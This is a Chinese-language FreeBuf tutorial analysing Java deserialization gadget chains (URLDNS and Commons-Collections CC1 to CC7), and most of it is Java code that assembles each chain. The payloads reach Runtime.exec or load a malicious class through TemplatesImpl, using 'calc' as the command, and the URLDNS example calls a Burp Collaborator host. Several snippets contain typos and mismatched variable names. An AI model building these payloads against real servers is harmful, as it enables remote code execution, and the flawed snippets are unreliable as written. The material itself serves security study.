freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JAVA反序列化链分析
2022-02-07 19:43:06
所属地 福建省

JAVA反序列化链分析

简单了解序列化

序列化就是是将抽象的数据对象转换成有序的字节流,便于保存与传递

反序列化就是将序列化后的字节流恢复成数据对象

在原生 JAVA中,分别使用 wirteObject()readObject()进行序列化与反序列化

有些类对于序列化与反序列化有着独特的要求,为了满足要求则会重写 wirteObject()readObject()方法

产生安全问题的原因

只要进行了反序列化操作,就一定会执行该对象的 readObject()方法,这使得攻击者拥有了可以在服务器上运行代码的能力

产生安全问题的形式

  1. 入口类的 readObject()中调用了危险方法

  2. 入口类参数中包含可控类,该类调用 readObject()时会触发危险方法

  3. 入口类参数中包含可控类,该类 readObject()时调用其他类,其他类继续调用另一个类(套娃),直到有一个类调用了危险方法 (正常情况下反序列化漏洞的利用方法)

  4. 构造函数/静态代码块等类加载时隐式执行

漏洞利用条件

  1. 大前提:参与序列化的所有类都继承了 Serializable,即所有类都是可序列化的

  2. 入口类重写了 readObject()方法,且其参数类型宽泛,并且是 jdk自带的

  3. 构造调用链

  4. 执行类 (RCE、SSRF、读写文件等)

URLDNS反序列化链

URL类的 hashCode()方法在触发后会以此触发 URLStreamHandler.hashCode(), URLStreamHandler.getHostAddress(),而在 HashMap.readObject()中正好调用了 hashCode(),因此可以很容易的获得一条 URLDNS反序列化链

public static vmain(String[] args) {
    HashMap<Object, Object> hashMap = new HashMap<>();
    URL url = new URL("http://oskpl2cdoji2cmnsrxvpz83il9r1fq.burpcollaborator.net");
    hashMap.put(url, "bbb");
    // serialize(hashMap);
    unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception {
	ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
	oos.writeObject(obj);
}

public static Object unserialize(String FileName) throws Exception {
	ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FileName));
	Object obj = ois.readObject();
	return obj;
}

但是构造这条链并没有这么顺利:hashMap.put()时会调用 hash()hashCode(), 这使得反序列化前就会向 DNS服务器发送请求造成误判

此外还存在一个更严重的问题, URLStreamHandler.hashCode()调用的前提是 URL.hashCode == -1image

如果在序列化前调用了 hash(), 会使得 URL.hashCode != -1, 导致反序列化时无法触发 URLStreamHandler.hashCode(), 为了解决这个问题,就需要在 hashMap.put()前将 URL.hashCode修改成 !=-1, hashMap.put()后改回 -1

修改后的链

利用反射对上述问题进行修改

public static void main(String[] args) {
    HashMap<Object, Object> hashMap = new HashMap<>();
    URL url = new URL("http://oskpl2cdoji2cmnsrxvpz83il9r1fq.burpcollaborator.net");
    Class c = url.getClass();
    Filed urlHashCode = c.getDeclaredFilde("hashCode");
    urlHashCode.setAccseeible(true);
    // 改成非-1,不触发hashCode()
    urlHashCode.set(url, 123);
    hashMap.put(url, "bbb");
    // 改回-1,使得可以触发hashCode()
    urlHashCode.set(url, -1);
    // serialize(hashMap);
    unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception {
	ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
	oos.writeObject(obj);
}

public static Object unserialize(String FileName) throws Exception {
	ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FileName));
	Object obj = ois.readObject();
	return obj;
}

CC1

JDK:8u65 ~ 8u71

执行类

commons-collections包中存在 InvokerTransformer类,其中存在一个 transform()函数,利用该函数可以执行任意方法

// 反射方式调用exec
Runtime r = Runtime.getRuntime();
Class runtimeClass = Runtime.class;
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

// 改写成transform形式
// public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);

寻找调用链

  • 已知危险方法transform,寻找调用该方法(transform)的其他不同名的方法

  • TransformedMap.checkSetValue() 为例,该方法调用了 valueTransformer.transform()方法,调用变量为 TransformedMap.valueTransformerimage

  • 该变量是类中的保护变量,可以通过构造方法传入,但是构造方法也是保护方法

  • 利用该类中的一个公共静态方法 decorate,该方法会调用构造方法

  • image

HashMap<Object, Object> hashedMap = new HashMap<>();
// checkSetValue只对valueTransformer调用transform方法, keyTransformer的值不影响执行,设为null
Map<Object, Object> transformedMap = TransformedMap.decorate(hashedMap, null, invokerTransformer);

  • 按照流程,寻找调用 checkSetValue()的方法,发现只有 AbstractMapEntryDecorator.MapEntry.setValue()调用了该方法image

  • Map中,一个键值对即为 Entry,可以通过 entrySet()的方法获取 Entry,并调用 setValue()

transformedMap.put("key", "value");
for (Map.Entry entry: transformedMap.entrySet()) {
    entry.setValue(r);
}
  • 但是这种调用方式无法利用在发序列化中,需要继续寻找调用 setValue()的方法,最好的结果找到某个对象的 readObject()调用了 setValue()

  • 最终发现,在 AnnotationInvocationHandlerreadObject()中调用了 setValue()image

  • 执行该方法的变量 memberValue取自 memberValues,而 memberValues可以通过 AnnotationInvocationHandler的构造方法赋值,是一个可控变量

  • AnnotationInvocationHandler()非public,需要通过反射调用

// AnnotationInvocationHandler() 的参数为Class<? extends Annotation> type, Map<String, Object> memberValues
// 第一个参数是 java 中注解类的泛型,第二个参数即需要由我们传参控制的 memberValues
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHanlderConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHanlderConstructor.setAccessible(true);
Object o = annotationInvocationHanlderConstructor.newInstance(Override.class, transformedMap);

合并

将上面调用链中的代码合并在一起即:

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object, Object> hashedMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashedMap, null, invokerTransformer);
// 为了可以获取到 entry,需要往 transformedMap 中传入键值对
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHanlderConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHanlderConstructor.setAccessible(true);
Object o = annotationInvocationHanlderConstructor.newInstance(Override.class, transformedMap);

隐藏的问题

在这串代码中隐藏了几个问题

  1. Runtime类无法被反序列化

  2. 在最后的 AnnotationInvocationHandler.readObject() 中, setValue的执行需要经过两个if判断

  3. 同样在 AnnotationInvocationHandler.readObject() 中, setValue调用的参数是固定的,需要将该参数修改为我们构造的参数

解决方法

Runtime 的反序列化

Runtime类无法反序列化,但是可以通过反射,获取 RuntimeClass,将 Class反序列化:

Class runtimeClass =  Runtime.class;
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

// 改为InvokerTransformer调用
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

为了方便,使用 ChainedTransformer方法将上述代码通过递归的方式一次性调用

Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// chainedTransformer.transform() 调用时,会将 Transformer 数组内的变量从前往后递归调用
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class)
两个 if

image

readObject中会获取变量 type的成员变量(434与440行),并用传入 Map中的 key查找 type的成员变量,在第一个 if中判断是否找到若找到则进入 if内部

  • 此处的 typeAnnotationInvocationHandler构造方法中传入的第一个参数,因此传入的注解的类需要有成员变量,如 Target

  • 同时,传入的 Map中的 key的值改成 Target的成员变量: value

第二个 if只要 Map中的 value无法被强转成 type的类型就可以进入,很容易绕过

修改后的代码:

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "asdf");
Map<Object, Object> transformedMap = decorate(hashMap, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHanlderConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHanlderConstructor.setAccessible(true);
Object o = annotationInvocationHanlderConstructor.newInstance(Target.class, transformedMap);

setValue() 的参数问题

在执行 memberValue.setValue()时,参数固定为:

memberValue.setValue(
	new AnnotationTypeMismatchExceptionProxy(
	value.getClass() + "[" + value + "]").setMember(
	annotationType.members().get(name))
);

这使得调用链无法正常执行,为了将参数修改回可以触发调用链的参数,需要利用 ConstantTransformer()构造方法,调用该构造方法时会传入一个参数 iConstant,调用 ConstantTransformer.transform()时,无论传入了什么值,只会返回 iConstant,利用这一点,传入 Runtime.class防止参数被修改,即:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

image

image

最终结果

public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    // chainedTransformer.transform() 调用时,会将 Transformer 数组内的变量从前往后递归调用
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    // chainedTransformer.transform()
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value", "asdf");
    Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
    Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> annotationInvocationHanlderConstructor = c.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationHanlderConstructor.setAccessible(true);
    Object o = annotationInvocationHanlderConstructor.newInstance(Target.class, transformedMap);
    serialize(o);
	unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception {
	ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
	oos.writeObject(obj);
}

public static Object unserialize(String FileName) throws Exception {
	ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FileName));
	Object obj = ois.readObject();
	return obj;
}

ysoserial中的CC1

ysoserial中的 CC1链的后半部分调用链与上面一致,不同的是开头的部分

AnnotationInvocationHandler.readObject()
	Map(Proxy).entrySet()
		AnnotationInvocationHandler.invoke()
			LazyMap.get()
				ChainedTransformer.transform()

在这条链中,通过动态代理的方式,调用了 AnnotationInvocationHandler.invoke()LazeMap.get()从而调用了 transform()方法

  • 当动态代理处理器类代理的类调用方法时,处理器类的 invoke()方法就会被调用

  • lazeMap作为 memberValues放入一个用 AnnotationInvocationHandler中, 并对其生成一个 Map类的动态代理 Proxy

  • 将代理 Proxy作为 memberValues放入 AnnotationInvocationHandler

  • AnnotationInvocationHandler调用 readObject()时会调用 memberValues.entrySet()

  • 而调用 memberValues.entrySet(), 便会调用动态代理的 invoke()

  • 即: AnnotationInvocationHandler.readObject() --> Proxy.entrySet() --> AnnotationInvocationHandler.invoke() --> memberValues.get() --> lazeMap.get()

HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazeMap = LazyMap.decorate(hashMap, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazeMap);
// 对上面的invocationHandler生成动态代理, 由于AnnotationInvocationHandler的构造方法接收Map类, 所以将其代理为Map类对象
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
// 将生成的动态代理放入AnnotationInvocationHandler
Object o = constructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");

CC6

CC6这条链是 ysoserial中泛用性最好的一条链,它不受 jdk版本的限制,而且他的入口类 HashMap是一个很常用的类,几乎不会被过滤

HashMap.readObject()
HashMap.putVal()
HashMap.hash()
	TiedMapEntry.hashCode()
	TiedMapEntry.getValue()
		LazyMap.get()
			ChainedTransformer.transform()
			InvokerTransformer.transform()
			Method.invoke()
				Runtime.exec()

CC6的后半部分与 CC1一致,因此只分析 HashMapLazeMap这段调用链的执行过程

HashMap.readObject()中:

image

先是经过了两个 if判断,分别判断了 HashMaploadFactorsize第一个变量是在 HashMap构造函数中赋值的,调用无参构造时值为 0.75f,而 size由于要往 HashMap中放入调用链,因此一定大于0,这两个判断直接就绕过了

在反序列化的最后,调用了 putVal(hash(key)),在 hash()中又调用了 hashCode():

image

接着看 TiedMapEntry类,在 TiedMapEntry.hashCode()调用了 getValue():

image

然后是对 map调用 get(key):

image

因此得出了这条链的逻辑:将 LazeMap作为 TiedMapEntrymapTiedMapEntry作为 HashMapkey,但调用反序列化时,便会调用到 LazeMap.get()

// 构造LazeMap
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazeMap = LazyMap.decorate(hashMap, chainedTransformer);
// 将LazeMap放入TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazeMap, "aaa");
// 再将TiedMapEntry放入HashMap
HashMap<Object, Object> map = new HashMap<>();
map.put(tiedMapEntry, "bbb");

serialize(rceMap);
unserialize("ser.bin");

这条调用链很简单,只要短短几行,但其中还有一个坑

这个坑与 URLDNS链中类似,在调用 HashMap.get()时,也会调用到 hashCode(),导致在反序列化前命令执行,造成误判

所以也要用反射进行修改:

HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazeMap = LazyMap.decorate(hashMap, chainedTransformer);
// 选择修改TiedMapEntry, 在构造时传入任意一个 Map 对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "aaa");
HashMap<Object, Object> rceMap = new HashMap<>();
rceMap.put(tiedMapEntry, "bbb");
// 修改TiedMapEntry的 map
Class<? extends TiedMapEntry> tideMapEntryClass = TiedMapEntry.class;
Field field = tideMapEntryClass.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry, lazeMap);

serialize(rceMap);
unserialize("ser.bin");

其他的CC链

剩下的几条 CC链的修改类似 CC1CC6,大多是在入口类与执行类上做的改变

CC3将执行方式有反射换成了动态类加载,将 ChainedTransformer.transform()InvokerTransformer.transform()换成了ChainedTransformer.transform()InstantiateTransformer.transform()

TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> c = templates.getClass();
Field nameFiled = c.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");
Field bytecodesFiled = c.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);

// Evil为构造的恶意类
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/unserialize/CC/Evil.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);

/*
 * _tfactory是利用TemplatesImpl执行命令的必要参数, 在反序列化时会自动赋值, 不是必须修改的属性
 * 但如果要在发序列化前执行命令,则需要添加下面的代码
 * Field tfactoryFiled = c.getDeclaredField("_tfactory");
 * tfactoryFiled.setAccessible(true);
 * tfactoryFiled.set(templates, new TransformerFactoryImpl());
 * templates.newTransformer();
 */

Transformer[] transformers = new Transformer[] {
	new ConstantTransformer(TrAXFilter.class),
	new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

CC2CC4是在 Common-Collections4使用的链,它们使用相同的入口类:PriorityQueue.readObject()TransformingComparator.compare()

CC2TransformingComparator.compare()InvokerTransformer.transform()TemplatesImpl.newTransformer()的调用链,没有使用 Transform数组:

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);

Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass();
Field transformerFiled = transformingComparatorClass.getDeclaredField("transformer");
transformerFiled.setAccessible(true);
transformerFiled.set(transformingComparator, invokerTransformer);

CC4TransformingComparator.compare()InstantiateTransformer.transform()

Transformer[] transformers = new Transformer[] {
	new ConstantTransformer(TrAXFilter.class),
	new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(new ChainedTransformer(), new ComparableComparator());

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass();
Field transformerFiled = transformingComparatorClass.getDeclaredField("transformer");
transformerFiled.setAccessible(true);
transformerFiled.set(transformingComparator, chainedTransformer);

CC5CC7则提供了不同的入口类:

Transformer[] transformers = new Transformer[] {
	new ConstantTransformer(TrAXFilter.class),
	new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazeMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazeMap, "aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new HashMap<>());

Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass();
Field valField = badAttributeValueExpExceptionClass.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, tiedMapEntry);
Transformer[] transformers = new Transformer[] {
	new ConstantTransformer(TrAXFilter.class),
	new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[0]);

Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();

// 构造相同的hash值
Map lazeMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
lazeMap1.put("yy", 1);
Map lazeMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
lazeMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazeMap1, 1);
hashtable.put(lazeMap2, 1);
// hashtable添加lazeMap2时会调用equals() -> put(), 将 yy=yy添加进lazeMap2
lazeMap2.remove("yy");

Class<? extends ChainedTransformer> chainedTransformerClass = chainedTransformer.getClass();
Field iTransformersFiled = chainedTransformerClass.getDeclaredField("iTransformers");
iTransformersFiled.setAccessible(true);
iTransformersFiled.set(chainedTransformer, transformers);

总结

七条 CC链的调用关系可以归纳为一张图,各个链的每一部分实际上都是独立的,根据这些独立部分进行排列组合实际上还能写出很多条链

image

参考

Java反序列化漏洞专题-基础篇
Java反序列化CommonsCollections篇

# java漏洞 # Java反序列化漏洞 # java反序列化 # Java代码审计 # JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录